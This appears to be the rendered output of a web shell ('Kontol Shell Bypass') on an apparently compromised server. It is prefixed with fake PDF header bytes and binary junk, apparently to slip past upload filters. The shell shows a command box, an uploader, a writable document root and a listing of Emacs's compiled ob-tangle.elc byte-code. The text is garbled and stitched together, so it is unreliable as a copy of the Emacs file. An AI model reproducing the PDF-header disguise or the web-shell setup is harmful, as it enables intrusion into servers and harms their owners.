%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :
ikan Uploader :
Directory :  /usr/share/emacs/25.2/lisp/org/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //usr/share/emacs/25.2/lisp/org/ob-tangle.elc
;ELC
;;; Compiled
;;; in Emacs version 25.2.1
;;; with all optimizations.

;;; This file uses dynamic docstrings, first added in Emacs 19.29.

;;; This file does not contain utf-8 non-ASCII characters,
;;; and so can be loaded in Emacs versions earlier than 23.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


(byte-code "\300\301!\210\302\303\304\305\306\307\310\311\312\313&	\210\302\314\315\316\306\317\310\311\312\320&	\210\302\321\322\323\306\317\310\311\312\320&	\210\302\324\315\325\306\317\310\311\312\320&	\210\302\326\327\330\306\317\310\311\312\331&	\210\302\332\333\330\306\317\310\311\312\331&	\210\302\334\335\336\306\317\310\311\312\337&	\207" [require org-src custom-declare-variable org-babel-tangle-lang-exts '(("emacs-lisp" . "el")) "Alist mapping languages to their file extensions.\nThe key is the language name, the value is the string that should\nbe inserted as the extension commonly used to identify files\nwritten in this language.  If no entry is found in this list,\nthen the name of the language is used." :group org-babel-tangle :version "24.1" :type (repeat (cons (string "Language name") (string "File Extension"))) org-babel-post-tangle-hook nil "Hook run in code files tangled by `org-babel-tangle'." org-babel hook org-babel-pre-tangle-hook '(save-buffer) "Hook run at the beginning of `org-babel-tangle'." org-babel-tangle-body-hook "Hook run over the contents of each code block body." org-babel-tangle-comment-format-beg "[[%link][%source-name]]" "Format of inserted comments in tangled code files.\nThe following format strings can be used to insert special\ninformation into the output using `org-fill-template'.\n%start-line --- the line number at the start of the code block\n%file --------- the file from which the code block was tangled\n%link --------- Org-mode style link to the code block\n%source-name -- name of the code block\n\nWhether or not comments are inserted during tangling is\ncontrolled by the :comments header argument." string org-babel-tangle-comment-format-end "%source-name ends here" org-babel-process-comment-text #'org-babel-trim "Function called to process raw Org-mode text collected to be\ninserted as comments in tangled source-code files.  The function\nshould take a single string argument and return a string\nresult.  The default value is `org-babel-trim'." function] 10)
#@81 Find file ensuring that the latest changes on disk are
represented in the file.
(defalias 'org-babel-find-file-noselect-refresh #[(file) "\301\302\"\210r\303!q\210\304\305\211\211#)\207" [file find-file-noselect nowarn get-file-buffer revert-buffer t] 4 (#$ . 2449)])
#@135 Open FILE into a temporary buffer execute BODY there like
`progn', then kill the FILE buffer returning the result of
evaluating BODY.
(defalias 'org-babel-with-temp-filebuffer '(macro . #[(file &rest body) "\306\307!\306\310!\306\311!\306\312!\313\fD\314DD\n	F\315D\316	\314DE\317	\316\n\320
BEE\321\322	DE\n\257,\207" [visited-p temp-file temp-result temp-path file body make-symbol "temp-path" "temp-result" "temp-file" "visited-p" let* get-file-buffer org-babel-find-file-noselect-refresh setf with-current-buffer progn unless kill-buffer] 10 (#$ . 2726)]))
(byte-code "\300\301\302\303#\210\304\301\305\306#\207" [function-put org-babel-with-temp-filebuffer lisp-indent-function 1 put edebug-form-spec (form body)] 4)
#@347 Extract the bodies of source code blocks in FILE.
Source code blocks are extracted with `org-babel-tangle'.
Optional argument TARGET-FILE can be used to specify a default
export file for all source blocks.  Optional argument LANG can be
used to limit the exported source code blocks by language.
Return a list whose CAR is the tangled file name.
(defalias 'org-babel-tangle-file #[(file &optional target-file lang) "\306\307!!\310\311 \312\216\313!\210p\314\310\f
#*\n\204!\315	!\210*\207" [file to-be-removed visited-p #1=#:wconfig target-file lang get-file-buffer expand-file-name nil current-window-configuration #[nil "\301!\207" [#1# set-window-configuration] 2] find-file org-babel-tangle kill-buffer] 4 (#$ . 3466) "fFile to tangle: \nP"])
#@51 Tangle FILENAME and place the results in PUB-DIR.
(defalias 'org-babel-tangle-publish #[(_ filename pub-dir) "\301\302\303!\"\207" [filename mapc #[(el) "\302	\303#\207" [el pub-dir copy-file t] 4] org-babel-tangle-file] 4 (#$ . 4227)])
#@505 Write code blocks to source-specific files.
Extract the bodies of all source code blocks from the current
file into their own source-specific files.
With one universal prefix argument, only tangle the block at point.
When two universal prefix arguments, only tangle blocks for the
tangle file of the block at point.
Optional argument TARGET-FILE can be used to specify a default
export file for all source blocks.  Optional argument LANG can be
used to limit the exported source code blocks by language.
(defalias 'org-babel-tangle #[(&optional arg target-file lang) "\306\307!\210\214\310\232\203\311 \211\203	b\210\202\312\313!\210)\212\314\n\203-\315\316\nBC\"\202.\317\232\205C\320\316\321\322\323!8\"A\206C\312\313!\324'\325\326\327\232\203X\330\331\332\"\202]\333(
\"\"\210\334\335'\211\331U\203m\336\202n\337\340\341\342 \206vp!!$\210)\203\207\325\343\344\345\f\"\"\210\325\346\f\"\210\344\345\f\".\207" [arg head target-file org-babel-default-header-args path-collector tangle-file run-hooks org-babel-pre-tangle-hook (4) org-babel-where-is-src-block-head user-error "Point is not in a source code block" 0 org-babel-merge-params :tangle (16) assoc 2 org-babel-get-src-block-info light nil mapc #[(by-lang) "@A\306	\"A\206	\307\306	
\"A\203#\310\306	
\"A!\206$	\311P!
\312\313\314\n\"-\207" [by-lang lang specs org-babel-tangle-lang-exts ext org-src-lang-modes assoc intern symbol-name "-mode" nil mapc #[(spec) "\306\211\307!\310!\211G\311V\205\n)\312!	\313\230\203%\314\315 !\2027	\316\230\203/\317\2027	G\311V\2057	\211\205P(\203O	\313\230\203O
\320(Q\202P
\211)\205)\321!\322)!*\211+\203w*\203w+\316\230\204w\323*\324\"\210*\325)!\203\217)\326\327,\"\235\204\217\330)!\210\331\332!-r-q\210\333\216\334.!\203\262\3351\255. 0\202\261\210\202\262\210\203\312)/\235\204\312\336Pc\210)/B/\3370!\210\340 1\331\332!2r2q\210\341\216\325)!\203\353\342)!\210db\2101c\210\343\317\211)#\210.\203\f\204\3443T3)\fB4\3454,\346\347$\203 ,\202(4,B\211,).\207" [get-spec tangle sheb she-bang tangle-mode base-name #[(name) "\302\303	8\"A\207" [name spec assoc 4] 4] :tangle :shebang 0 :tangle-mode "yes" file-name-sans-extension buffer-file-name "no" nil "." :mkdirp file-name-directory make-directory parents file-exists-p mapcar car delete-file generate-new-buffer " *temp*" #[nil "\301!\205	\302!\207" [#1=#:temp-buffer buffer-name kill-buffer] 2] fboundp (error) "\n" org-babel-spec-to-string buffer-string #[nil "\301!\205	\302!\207" [#2=#:temp-buffer buffer-name kill-buffer] 2] insert-file-contents write-region 493 cl-member :test #[(a b) "@	@\232\207" [a b] 2] ext file-name fnd m path-collector #1# lang-f she-banged spec content #2# block-counter #3=#:x] 6] lang-f she-banged] 5] (4) org-babel-tangle-single-block 1 t org-babel-tangle-collect-blocks message "Tangled %d code block%s from %s" "" "s" file-name-nondirectory buffer-file-name buffer-base-buffer #[(file) "\305	!\306\211\307	!\210\305	!r\fq\210\310\311!)\n\204#\312\f!\210,\207" [file #4=#:temp-path #5=#:visited-p #6=#:temp-result #7=#:temp-file get-file-buffer nil org-babel-find-file-noselect-refresh run-hooks org-babel-post-tangle-hook kill-buffer] 3] mapcar car #[(pair) "A\205\301@A\"\207" [pair set-file-modes] 3] block-counter lang org-babel-post-tangle-hook] 8 (#$ . 4473) "P"])
#@317 Remove comments inserted by `org-babel-tangle'.
Call this function inside of a source-code file generated by
`org-babel-tangle' to remove all comments inserted automatically
by `org-babel-tangle'.  Warning, this comment removes any lines
containing constructs which resemble org-mode file links or noweb
references.
(defalias 'org-babel-tangle-clean #[nil "eb\210\300\301\302\303#\204\300\304 \302\303#\205)\212\305\306!\210`)\212\306\210\306u\210`)|\210\202\207" [re-search-forward "\\[\\[file:.*\\]\\[.*\\]\\]" nil t org-babel-noweb-wrap beginning-of-line 1] 4 (#$ . 7886) nil])
#@282 Insert SPEC into the current file.

Insert the source-code specified by SPEC into the current source
code file.  This function uses `comment-region' which assumes
that the appropriate major-mode is set.  SPEC has the form:

  (start-line file link source-name params body comment)
(defalias 'org-babel-spec-to-string #[(spec) "@A@\3068\3078\3108\3118\312\313\3148\"A\312\315\3148\"A\316\230? \317\230\206F\320\230\206F\321\230\206F\322\230!\323\324\325\"\"\326#\203\\#!\210!\203k#\327$\"\"!\210 \203s\330c\210\331\332\333\334
%\205~\335\"!\"c\210!\205\221#\327&\"\"!.\207" [spec start-line file link source-name body 2 3 5 6 assoc :comments 4 :padline "no" "both" "link" "yes" "noweb" mapcar #[(el) "\302!\303!\211;\203	\202\304\305	\")B\207" [el le symbol-name eval format "%S"] 5] (start-line file link source-name) #[(text) "\205&\303\230?\205&	G\304V\205&\n\203\305c\210\306`	c\210`\"\210\307\210\305c\207" [comments text padline "no" 0 "\n" comment-region nil] 3] org-fill-template "\n" format "%s\n" org-unescape-code-in-string org-babel-trim "[\f\n
]" comment comments padline link-p link-data insert-comment org-babel-tangle-comment-format-beg org-src-preserve-indentation org-babel-tangle-comment-format-end] 6 (#$ . 8480)])
#@372 Collect source blocks in the current Org-mode file.
Return an association list of source-code block specifications of
the form used by `org-babel-spec-to-string' grouped by language.
Optional argument LANGUAGE can be used to limit the collected
source code blocks by language.  Optional argument TANGLE-FILE
can be used to limit the collected code blocks by target file.
(defalias 'org-babel-tangle-collect-blocks #[(&optional language tangle-file) "\306\307\310\211\311 \211?\206\312\313\f!!`*\310+\314 ,\315\216\f\203*\316\f!\210p+eb\210\317-\310\320#\203\321 \2030\322\224b\210\323\322!\322\224\322\225\323\324!\324\224\324\225\323\325!\325\224\325\225\323\326!\326\224\326\225\323\327!\327\224\327\225./0123456789:;<\330\331\332\3331\226\326\334 8\206\222\3350\202\231\210\311 #\210\336\337!\211=@>\340\341\324=8\"A?\342\343@P\n\"\204\372\340\341\324=8\"A\344\230\204\372A\203\322A?\232\203\372B\203\337B>\230\203\372\340>	\"A\345\340>	\"	\">\346!BB	B+:b\210.\2020*
\204\347+!\210*b\210,\350\351	\"\211,\207" [by-lang blocks current-heading block-counter #1=#:file visited-p 1 "" nil buffer-file-name get-file-buffer expand-file-name current-window-configuration #[nil "\301!\207" [#2=#:wconfig set-window-configuration] 2] find-file re-search-forward t org-babel-active-location-p 0 match-string 2 3 4 5 replace-regexp-in-string "[ 	]" "-" (error) org-heading-components "(dummy for heading without text)" org-babel-get-src-block-info light assoc :tangle string-match "^" "no" delq org-babel-tangle-single-block kill-buffer mapcar #[(by-lang) "@\301A!B\207" [by-lang reverse] 3] point to-be-removed #2# org-babel-src-block-regexp end-body beg-body body end-header-args beg-header-args header-args end-switches beg-switches switches end-lang beg-lang lang end-block beg-block full-block info src-lang src-tfile org-comment-string tangle-file language] 16 (#$ . 9790)])
#@237 Collect the tangled source for current block.
Return the list of block attributes needed by
`org-babel-tangle-collect-blocks'.
When ONLY-THIS-BLOCK is non-nil, return the full association
list to be used by `org-babel-tangle' directly.
(defalias 'org-babel-tangle-single-block #[(block-counter &optional only-this-block) "\306 \214~\210\307`!T)\310 @\3118\3128\313\314
\"\203(\315\316
\"\206*89\317\320!\320:;\321\322!\203G\322\323;G\320;$\210\202d:\203Z\324\323;G<;$\210\202d\322\323;G\320;$\210;*=\313>=\"\205w\315\316=\")=\325\3268\206\232\327\330\3311\217\326\332 80\202\223\210\202\226\206\227\333?#!@\325\334P!A\325\335P!B\336\f\337\"\203\270\340!\202\273A@C\341\342\f\"\203\311C\202\351\321A!\203\331AC\f\"\202\351\343C\f\321B!\205\350B\f!#C\344\345!DrDq\210\346\216Cc\210\313\347
\"\203eb\210\350\351\352\3539#\320\354#\203\355\356!\210\202\357\360!\210\361 -C\341\362\f\"A\363\230\2046\341\362\f\"A\364\230\205_E\3651H\212\366\354!\210\323\225)0\202J\210e\212\367F\320\354#\203Y\323\225\202Ze)]`{!G	\n=@\fCG\257HI\203~HCBC\202\200H.\207" [info start-line file src-lang params extra org-babel-get-src-block-info line-number-at-pos buffer-file-name 2 3 string-match "-l \"\\(.+\\)\"" match-string 1 org-store-link nil fboundp set-text-properties 0 remove-text-properties intern 4 format "%s:%d" (error) org-heading-components "No heading" "org-babel-expand-body:" "org-babel-variable-assignments:" org-babel-noweb-p :tangle org-babel-expand-noweb-references assoc :no-expand org-babel-expand-body:generic generate-new-buffer " *temp*" #[nil "\301!\205	\302!\207" [#1=#:temp-buffer buffer-name kill-buffer] 2] "-r" re-search-forward replace-regexp-in-string "%s" ".+" t replace-match "" run-hooks org-babel-tangle-body-hook buffer-string :comments "both" "org" (error) org-back-to-heading re-search-backward org-coderef-label-format cref-fmt restricted s org-rm-props link org-bracket-link-regexp block-counter source-name expand-cmd assignments-cmd body #1# org-babel-process-comment-text org-babel-src-block-regexp comment result only-this-block] 7 (#$ . 11742)])
#@75 Return a list of begin and end link comments for the code block at point.
(defalias 'org-babel-tangle-comment-links #[(&optional info) "\306 \307 \310\311\312!\210\n\211A\242@\313\314\315!\203%\315\316\fG\313\f$\210\202<\2034\317\316\fG
\f$\210\202<\315\316\fG\313\f$\210\f*!\320\206J\321\322!8\323\324\325\"\326\"\326\"-D\207" [start-line file org-stored-links restricted s org-rm-props org-babel-where-is-src-block-head buffer-file-name org-link-escape call-interactively org-store-link nil fboundp set-text-properties 0 remove-text-properties 4 org-babel-get-src-block-info light mapcar #[(el) "\302!\303!\211;\203	\202\304\305	\")B\207" [el le symbol-name eval format "%S"] 5] (start-line file link source-name) org-fill-template link info source-name link-data org-babel-tangle-comment-format-beg org-babel-tangle-comment-format-end] 6 (#$ . 13920)])
#@180 Propagate changes in source file back original to Org-mode file.
This requires that code blocks were tangled with link comments
which enable the original code blocks to be found.
(defalias 'org-babel-detangle #[(&optional source-code-file) "\212\203	\305!\210eb\210\306\307\211\310\f\307\311#\203C\310\312\313\314\315!!\316Q!\203=\306\225\317y\210\212\320 \211\2039\321\n!\210)T	b\210\202\322\323\"\210,\207" [source-code-file end new-body counter org-bracket-link-analytic-regexp find-file 0 nil re-search-forward t " " regexp-quote match-string 5 " ends here" -1 org-babel-tangle-jump-to-org org-babel-update-block-body message "Detangled %d code blocks"] 5 (#$ . 14817) nil])
#@61 Jump from a tangled code file to the related Org-mode file.
(defalias 'org-babel-tangle-jump-to-org #[nil "`\306\211\211\211\211\211\211\211\211\211()*+,\307 -\310\216\212\311.\306\312#\203s\313 \211+\203\"\212\314y\210\315 )\211*\203\"\316\317!\211\203\"\316\320!\211\203\"\316\321!\211\203\"\212\322 /\323\216\324\325\326	!\327Q\306\312#\210\315 \211)+\203\"+\203\210+,W\203\210,)W\204\214\330\331!\210\332+){!)\333\334\n\"\203\242\n\317\211\224O\335\n!\210p+b\210\336!\210\333\337	\"\203\303\340\341\316\342	\"!!\210\202\307\343	!\210\344 b\210\342y\210\345 \210,*Zu\210\346 \210`*\347
\312\"\210\fb\210.\207" [body block-name path link target-char target-buffer nil current-window-configuration #[nil "\301!\207" [#1=#:wconfig set-window-configuration] 2] re-search-backward t point-at-eol 2 point-at-bol match-string 0 3 5 match-data #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] re-search-forward " " regexp-quote " ends here" error "Not in tangled code" org-babel-trim string-match "::" find-file org-open-link-from-string "[^ 	\n
]:\\([[:digit:]]+\\)" org-babel-next-src-block string-to-number 1 org-babel-goto-named-src-block org-babel-where-is-src-block-head org-edit-special org-edit-src-exit org-src-switch-to-buffer done end body-start start mid #1# org-bracket-link-analytic-regexp save-match-data-internal] 11 (#$ . 15519) nil])
(provide 'ob-tangle)

Kontol Shell Bypass